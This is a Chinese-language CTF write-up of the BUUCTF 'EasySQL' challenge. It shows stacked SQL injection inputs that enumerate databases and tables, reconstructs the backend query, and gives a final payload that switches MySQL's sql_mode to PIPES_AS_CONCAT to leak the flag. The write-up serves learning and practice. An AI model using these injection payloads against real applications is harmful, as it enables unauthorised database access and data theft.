BUUCTF学习笔记-EasySQL
时间:2020/03/14
考点:堆叠注入、SQL模式
打开是一个输入框,提交参数查询,随意提交几个参数,发现存在堆叠注入。
输入1
显示Array ( [0] => 1 )
输入2
显示Array ( [0] => 1 )
输入2;
显示Array ( [0] => 2 )
输入1'
显示空白
输入1''
显示空白
输入1;show databases;
显示Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
输入1;show tables;
显示Array ( [0] => 1 ) Array ( [0] => Flag )
输入1;show columns from Flag;
显示Nonono.
这里就能判断题目应该是有过滤的,使用字典跑一下。
看到上面主要是有两中返回,一种是空白
,一种是nonono
。
在网上查writeup看到
输入1
显示Array ( [0] => 1 )
输入a
显示空白
输入所有非0数字
都显示Array ( [0] => 1 )
输入所有字母(除过滤的关键词外)
都显示空白
可以推测题目应该是用了||
符号。
推测出题目应该是select $_post[value] || flag from Flag
。
在本地环境尝试一下,先给大家看看正常的数据
使用 || 运算符,可以看到前面无论填1还是填2,它返回的都是1。这时因为有了 || 作为判断运算符,它自动把之前的先进行了运算,非0数字都当成了true,所以都是返回1。当前面填字母的时候,它会认为a是一个字段名,那当然没这个字段名所以会报错。
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode 模式:pipes_as_concat 来实现oracle 的一些功能。
这个意思是在oracle中 || 是作为字符串拼接,而在mysql中是运算符。当设置sql_mode为pipes_as_concat的时候,mysql也可以把 || 作为字符串拼接。
先修改一下sql_mode
修改完后,||
就会被认为是字符串拼接符。如 select 1 || secret_5QBH from s4g70jkqqx;
并不是所将 1
和 secret_5QBH
拼接在一起作为一个新的字段名 1secret_5QBH
去查询。
先执行select 1 from s4g70jkqqx
,得到结果1
。再执行select| secret_5QBH from s4g70jkqqx;
,得到结果6qpdPnCZQ3xHKQDbSjUWrH32
。然后把他们的结果拼接到一起输出16qpdPnCZQ3xHKQDbSjUWrH32
。
所以最后构造 1;set sql_mode=PIPES_AS_CONCAT;select 1
就能得到flag。这个payload最终到后端其实是执行了三条语句。
select 1;
=> 输出 1;
set sql_mode=PIPES_AS_CONCAT;
修改sql_mode无输出
select 1 || flag from Flag
。 输出 1+flag的内容